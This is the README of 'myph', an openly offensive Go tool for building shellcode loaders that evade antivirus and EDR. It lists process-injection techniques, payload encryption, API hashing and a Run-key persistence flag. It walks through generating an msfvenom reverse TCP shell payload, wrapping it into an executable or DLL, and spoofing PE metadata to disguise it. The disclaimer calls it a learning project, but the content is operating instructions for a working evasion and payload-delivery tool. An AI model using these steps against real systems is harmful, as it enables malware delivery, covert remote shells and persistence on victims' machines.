myph~ shellcode loader for your evasion needs |
| git clone https://github.com/matro7sh/myph.git |
| log | files | refs | archive | README | LICENSE |
README.md (6502B)
1 # myph 2 3 AV/EDR bypass payload creation tool 4 5 ## Disclaimer 6 7 The access to and the use of the information on this repository is free of charge, 8 but implies the tacit acceptance by the user of the following conditions, without prejudice to the applicable legal provisions. 9 The user acknowledges that this repository is intended for informational purposes only and therefore serves only 10 for general information and testing. The tool and this repository are carefully compiled on the basis of good sources and references. 11 12 However, the developers cannot be held liable for for any damage, direct or indirect, of whatever nature as a result of 13 or related to the access to or use of the software. 14 15 > IOCs have voluntarily been added to the project. Don't open any issues regarding detections, it's pointless. 16 > The goal of this project is to learn & teach. If you want a FUD loader, dont be a baby and make your own. 17 18 ## How to use the software ? 19 20 > Please note this project is under development & subject to changes. 21 > Breaking changes can be introduced from release to release. 22 23 ### Compiling or Installing the project 24 25 You can easily compile like so: 26 ```bash 27 # if you have make installed 28 make # you can also use `make help` to check recipes 29 30 # if you don't 31 go build -o myph . 32 ``` 33 34 > You can also grab the latest release from [here](https://github.com/mato7sh/myph/releases/) 35 36 Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/mato7sh/myph) like so: 37 ```bash 38 # /!\ lowercase is important /!\ 39 go install github.com/cmepw/myph@latest 40 ``` 41 42 ### Usage 43 44 ``` 45 Available Commands: 46 completion Generate the autocompletion script for the specified shell 47 help Help about any command 48 spoof spoof PE metadata using versioninfo 49 50 Flags: 51 --api-hashing-type string Hashing algorithm used for API hashing (default "DJB2") 52 -b, --binary-format string Binary format (exe,dll) (default "exe") 53 -d, --debug builds binary with debug symbols 54 -e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES) 55 -h, --help help for myph 56 -k, --key string encryption key, auto-generated if empty. (if used by --encryption) 57 -f, --out string output name (default "payload.exe") 58 -z, --persistence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "") 59 -p, --process string target process to inject shellcode to (default "cmd.exe") 60 -s, --shellcode string shellcode path (default "msf.raw") 61 --sleep-time uint sleep time in seconds before executing loader (default: 0) 62 -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer) (default "CRT") 63 --use-api-hashing Use API Hashing 64 -v, --version version for myph 65 ``` 66 67 #### Loader Methods 68 69 This tool supports few methods for now, but aims to add more as time goes on: 70 - Syscall 71 - CreateFiber 72 - CreateThread 73 - NtCreateThreadEx 74 - Process hollowing 75 - EnumCalendarInfoA 76 - CreateRemoteThread 77 - EtwpCreateEtwThread 78 - CreateRemoteThreadEx 79 - SetTimer 80 81 If you don't know what that is about, go check out [this repository](https://github.com/matro7sh/BypassAV) :)~ 82 83 84 #### Example run 85 86 Generate a payload like so: 87 88 ```bash 89 # generate your payload 90 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o msf.raw 91 92 # run myph (--shellcode is not mandatory here because we use the default value) 93 ./myph --shellcode msf.raw --out something.exe 94 95 # you should find your payload here 96 file ./something.exe 97 98 # add some program metada 99 ./myph spoof --pe something.exe --file .github/test-data/example.json 100 ``` 101 102 #### Generate dll 103 104 `./myph -s ~/opensource/myph/beacon.bin -t NtCreateThreadEx -b dll --out beacon.exe` 105 106 #### Using docker 107 108 ```bash 109 # using makefile 110 make docker 111 112 # going through dockerfile directly 113 docker build . -t myph:latest 114 ``` 115 116 #### Editing file properties 117 118 A subcommand is available to edit a PE file's properties & change its icon or file version (for instance). 119 For more information on CLI usage, you can run: 120 ```bash 121 # will give you a little help display 122 ./myph spoof --help 123 124 # will edit demo.exe with the data specified in example.json 125 ./myph spoof --pe demo.exe --file example.json 126 ``` 127 128 It expects a JSON file, containing the metadata you want to set. You can find an example in `.github/test-data` directory. 129 130 Information on resource types and language IDs can be found [here](https://learn.microsoft.com/en-us/windows/win32/menurc/resource-types) and [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/70feba9f-294e-491e-b6eb-56532684c37f). 131 132 You can set data depending on the language. 133 BMP, ICO, and PNG files are supported, and you can a wide array of information: 134 135 ```json 136 { 137 "RT_VERSION": { 138 "#1": { 139 "0000": { 140 "fixed": { 141 "file_version": "1.2", 142 "product_version": "1.2.3", 143 "flags": "Debug,Patched", 144 "timestamp": "2020-12-18T23:00:00+01:00" 145 }, 146 "info": { 147 "0409": { 148 "Comments": "that should do it", 149 "CompanyName": "Smersh", 150 "FileDescription": "smrsh 4 evr", 151 "FileVersion": "1.2", 152 "InternalName": "", 153 "LegalCopyright": "GNU GPL v3", 154 "LegalTrademarks": "", 155 "OriginalFilename": "myph.exe", 156 "PrivateBuild": "", 157 "ProductName": "myph ldr", 158 "ProductVersion": "1.2 release", 159 "SpecialBuild": "" 160 }, 161 "040C": { 162 "Comments": "ca devrait le faire", 163 "CompanyName": "Smersh", 164 "FileDescription": "smrh pr tjrs", 165 "FileVersion": "1.2", 166 "InternalName": "", 167 "LegalCopyright": "GNU GPL v3", 168 "LegalTrademarks": "", 169 "OriginalFilename": "myph.exe", 170 "PrivateBuild": "", 171 "ProductName": "myph ldr", 172 "ProductVersion": "1.2 release", 173 "SpecialBuild": "" 174 } 175 } 176 } 177 } 178 } 179 } 180 ``` 181 182 ### Contributing 183 184 Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~ 185 186 A guide on how to use the tool is in the works, please let us know if you're interested in helping out.